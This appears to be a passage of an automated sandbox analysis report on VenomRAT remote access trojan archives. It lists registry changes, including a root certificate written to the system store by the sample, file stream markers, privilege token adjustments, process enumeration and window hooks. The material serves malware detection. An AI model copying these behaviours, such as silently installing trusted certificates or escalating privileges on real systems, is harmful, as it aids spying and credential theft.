Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\96F071321C0420720000000040000000\96F071321C0420722210000010000000 C:\Windows\system32\msiexec.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\96F071321C0420722210000010000000\SourceList\Net C:\Windows\system32\msiexec.exe N/A
Key created \REGISTRY\USER\S-1-5-21-1420546310-613437930-2990200354-1000_Classes\Local Settings C:\Windows\system32\OpenWith.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{23170F69-40C1-278A-1000-000100020000}\InprocServer32\ = "C:\\Program Files\\7-Zip\\7-zip32.dll" C:\Windows\system32\msiexec.exe N/A

Modifies system certificate store

evasion spyware trojan
Description Indicator Process Target
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13 C:\Users\Admin\Desktop\VenomRAT-V5.6-HVNC\Stub\ClientFix.bat.exe N/A
Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 0f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d090000000100000042000000304006082b06010505070302060a2b0601040182370a030c060a2b0601040182370a030406082b0601050507030406082b0601050507030106082b060105050703086200000001000000200000000687260331a72403d909f105e69bcf0d32e1bd2493ffc6d9206d11bcd67707390b000000010000001e000000440053005400200052006f006f0074002000430041002000580033000000140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc415608589101d00000001000000100000004558d512eecb27464920897de7b660537f000000010000000e000000300c060a2b0601040182370a03047e000000010000000800000000c001b39667d60168000000010000000800000000409120d035d901030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c1320000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510 C:\Users\Admin\Desktop\VenomRAT-V5.6-HVNC\Stub\ClientFix.bat.exe N/A
Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 1900000001000000100000006cf252fec3e8f20996de5d4dd9aef424030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c1368000000010000000800000000409120d035d9017e000000010000000800000000c001b39667d6017f000000010000000e000000300c060a2b0601040182370a03041d00000001000000100000004558d512eecb27464920897de7b66053140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc415608589100b000000010000001e000000440053005400200052006f006f00740020004300410020005800330000006200000001000000200000000687260331a72403d909f105e69bcf0d32e1bd2493ffc6d9206d11bcd6770739090000000100000042000000304006082b06010505070302060a2b0601040182370a030c060a2b0601040182370a030406082b0601050507030406082b0601050507030106082b060105050703080f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d20000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510 C:\Users\Admin\Desktop\VenomRAT-V5.6-HVNC\Stub\ClientFix.bat.exe N/A

NTFS ADS

Description Indicator Process Target
File created C:\Users\Admin\Downloads\VenomRAT v6.0.3(1).rar:Zone.Identifier C:\Program Files\Mozilla Firefox\firefox.exe N/A
File created C:\Users\Admin\Downloads\7z2201-x64.msi:Zone.Identifier C:\Program Files\Mozilla Firefox\firefox.exe N/A
File created C:\Users\Admin\Downloads\VenomRAT_v6.0.3_(SOURCE).rar:Zone.Identifier C:\Program Files\Mozilla Firefox\firefox.exe N/A
File created C:\Users\Admin\Downloads\VenomRAT-V5.6-HVNC.rar:Zone.Identifier C:\Program Files\Mozilla Firefox\firefox.exe N/A
File created C:\Users\Admin\Downloads\VenomRAT v6.0.3.rar:Zone.Identifier C:\Program Files\Mozilla Firefox\firefox.exe N/A
File created C:\Users\Admin\AppData\Local\Temp\7zO0D9F0F49\Venom RAT + HVNC + Stealer + Grabber.exe:Zone.Identifier C:\Program Files\7-Zip\7zFM.exe N/A
File created C:\Users\Admin\Downloads\Ven pass 777.zip:Zone.Identifier C:\Program Files\Mozilla Firefox\firefox.exe N/A
File created C:\Users\Admin\Downloads\VENOMRAT-6.0.3-CRACKED-HVNC-STEALER-GRABBER-SOURCE-CODE-main.zip:Zone.Identifier C:\Program Files\Mozilla Firefox\firefox.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Program Files\7-Zip\7zFM.exe N/A
N/A N/A C:\Program Files\7-Zip\7zFM.exe N/A
N/A N/A C:\Program Files\7-Zip\7zFM.exe N/A
N/A N/A C:\Program Files\7-Zip\7zFM.exe N/A
N/A N/A C:\Program Files\7-Zip\7zFM.exe N/A
N/A N/A C:\Program Files\7-Zip\7zFM.exe N/A
N/A N/A C:\Program Files\7-Zip\7zFM.exe N/A
N/A N/A C:\Program Files\7-Zip\7zFM.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious behavior: GetForegroundWindowSpam

Description Indicator Process Target
N/A N/A C:\Program Files\7-Zip\7zFM.exe N/A
N/A N/A C:\Program Files\7-Zip\7zFM.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Program Files\7-Zip\7zFM.exe N/A
N/A N/A C:\Program Files\7-Zip\7zFM.exe N/A
N/A N/A C:\Program Files\7-Zip\7zFM.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
Token: SeDebugPrivilege N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
Token: 33 N/A C:\Windows\system32\AUDIODG.EXE N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\system32\AUDIODG.EXE N/A
Token: SeDebugPrivilege N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
Token: SeRestorePrivilege N/A C:\Program Files\7-Zip\7zFM.exe N/A
Token: 35 N/A C:\Program Files\7-Zip\7zFM.exe N/A
Token: SeSecurityPrivilege N/A C:\Program Files\7-Zip\7zFM.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\7zO0D9F0F49\Venom RAT + HVNC + Stealer + Grabber.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Users\Admin\AppData\Local\Temp\7zO0D9F0F49\Venom RAT + HVNC + Stealer + Grabber.exe N/A
Token: SeSecurityPrivilege N/A C:\Users\Admin\AppData\Local\Temp\7zO0D9F0F49\Venom RAT + HVNC + Stealer + Grabber.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Users\Admin\AppData\Local\Temp\7zO0D9F0F49\Venom RAT + HVNC + Stealer + Grabber.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Users\Admin\AppData\Local\Temp\7zO0D9F0F49\Venom RAT + HVNC + Stealer + Grabber.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Users\Admin\AppData\Local\Temp\7zO0D9F0F49\Venom RAT + HVNC + Stealer + Grabber.exe N/A
Token: SeSystemtimePrivilege N/A C:\Users\Admin\AppData\Local\Temp\7zO0D9F0F49\Venom RAT + HVNC + Stealer + Grabber.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Users\Admin\AppData\Local\Temp\7zO0D9F0F49\Venom RAT + HVNC + Stealer + Grabber.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Users\Admin\AppData\Local\Temp\7zO0D9F0F49\Venom RAT + HVNC + Stealer + Grabber.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Users\Admin\AppData\Local\Temp\7zO0D9F0F49\Venom RAT + HVNC + Stealer + Grabber.exe N/A
Token: SeBackupPrivilege N/A C:\Users\Admin\AppData\Local\Temp\7zO0D9F0F49\Venom RAT + HVNC + Stealer + Grabber.exe N/A
Token: SeRestorePrivilege N/A C:\Users\Admin\AppData\Local\Temp\7zO0D9F0F49\Venom RAT + HVNC + Stealer + Grabber.exe N/A
Token: SeShutdownPrivilege N/A C:\Users\Admin\AppData\Local\Temp\7zO0D9F0F49\Venom RAT + HVNC + Stealer + Grabber.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\7zO0D9F0F49\Venom RAT + HVNC + Stealer + Grabber.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Users\Admin\AppData\Local\Temp\7zO0D9F0F49\Venom RAT + HVNC + Stealer + Grabber.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Users\Admin\AppData\Local\Temp\7zO0D9F0F49\Venom RAT + HVNC + Stealer + Grabber.exe N/A
Token: SeUndockPrivilege N/A C:\Users\Admin\AppData\Local\Temp\7zO0D9F0F49\Venom RAT + HVNC + Stealer + Grabber.exe N/A
Token: SeManageVolumePrivilege N/A C:\Users\Admin\AppData\Local\Temp\7zO0D9F0F49\Venom RAT + HVNC + Stealer + Grabber.exe N/A
Token: 33 N/A C:\Users\Admin\AppData\Local\Temp\7zO0D9F0F49\Venom RAT + HVNC + Stealer + Grabber.exe N/A
Token: 34 N/A C:\Users\Admin\AppData\Local\Temp\7zO0D9F0F49\Venom RAT + HVNC + Stealer + Grabber.exe N/A
Token: 35 N/A C:\Users\Admin\AppData\Local\Temp\7zO0D9F0F49\Venom RAT + HVNC + Stealer + Grabber.exe N/A
Token: 36 N/A C:\Users\Admin\AppData\Local\Temp\7zO0D9F0F49\Venom RAT + HVNC + Stealer + Grabber.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Users\Admin\AppData\Local\Temp\7zO0D9F0F49\Venom RAT + HVNC + Stealer + Grabber.exe N/A
Token: SeSecurityPrivilege N/A C:\Users\Admin\AppData\Local\Temp\7zO0D9F0F49\Venom RAT + HVNC + Stealer + Grabber.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Users\Admin\AppData\Local\Temp\7zO0D9F0F49\Venom RAT + HVNC + Stealer + Grabber.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Users\Admin\AppData\Local\Temp\7zO0D9F0F49\Venom RAT + HVNC + Stealer + Grabber.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Users\Admin\AppData\Local\Temp\7zO0D9F0F49\Venom RAT + HVNC + Stealer + Grabber.exe N/A
Token: SeSystemtimePrivilege N/A C:\Users\Admin\AppData\Local\Temp\7zO0D9F0F49\Venom RAT + HVNC + Stealer + Grabber.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Users\Admin\AppData\Local\Temp\7zO0D9F0F49\Venom RAT + HVNC + Stealer + Grabber.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Users\Admin\AppData\Local\Temp\7zO0D9F0F49\Venom RAT + HVNC + Stealer + Grabber.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Users\Admin\AppData\Local\Temp\7zO0D9F0F49\Venom RAT + HVNC + Stealer + Grabber.exe N/A
Token: SeBackupPrivilege N/A C:\Users\Admin\AppData\Local\Temp\7zO0D9F0F49\Venom RAT + HVNC + Stealer + Grabber.exe N/A
Token: SeRestorePrivilege N/A C:\Users\Admin\AppData\Local\Temp\7zO0D9F0F49\Venom RAT + HVNC + Stealer + Grabber.exe N/A
Token: SeShutdownPrivilege N/A C:\Users\Admin\AppData\Local\Temp\7zO0D9F0F49\Venom RAT + HVNC + Stealer + Grabber.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\7zO0D9F0F49\Venom RAT + HVNC + Stealer + Grabber.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Users\Admin\AppData\Local\Temp\7zO0D9F0F49\Venom RAT + HVNC + Stealer + Grabber.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Users\Admin\AppData\Local\Temp\7zO0D9F0F49\Venom RAT + HVNC + Stealer + Grabber.exe N/A
Token: SeUndockPrivilege N/A C:\Users\Admin\AppData\Local\Temp\7zO0D9F0F49\Venom RAT + HVNC + Stealer + Grabber.exe N/A
Token: SeManageVolumePrivilege N/A C:\Users\Admin\AppData\Local\Temp\7zO0D9F0F49\Venom RAT + HVNC + Stealer + Grabber.exe N/A
Token: 33 N/A C:\Users\Admin\AppData\Local\Temp\7zO0D9F0F49\Venom RAT + HVNC + Stealer + Grabber.exe N/A
Token: 34 N/A C:\Users\Admin\AppData\Local\Temp\7zO0D9F0F49\Venom RAT + HVNC + Stealer + Grabber.exe N/A
Token: 35 N/A C:\Users\Admin\AppData\Local\Temp\7zO0D9F0F49\Venom RAT + HVNC + Stealer + Grabber.exe N/A
Token: 36 N/A C:\Users\Admin\AppData\Local\Temp\7zO0D9F0F49\Venom RAT + HVNC + Stealer + Grabber.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
Token: SeDebugPrivilege N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
Token: SeDebugPrivilege N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskmgr.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\system32\taskmgr.exe N/A
Token: SeCreateGlobalPrivilege N/A C:\Windows\system32\taskmgr.exe N/A
Token: 33 N/A C:\Windows\system32\taskmgr.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\system32\taskmgr.exe N/A
Token: SeSecurityPrivilege N/A C:\Program Files\7-Zip\7zFM.exe N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\7-Zip\7zFM.exe N/A
N/A N/A C:\Program Files\7-Zip\7zFM.exe N/A
N/A N/A C:\Program Files\7-Zip\7zFM.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Program Files\7-Zip\7zFM.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A

Suspicious use of SendNotifyMessage

Description Indicator Process Target
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Windows\system32\OpenWith.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
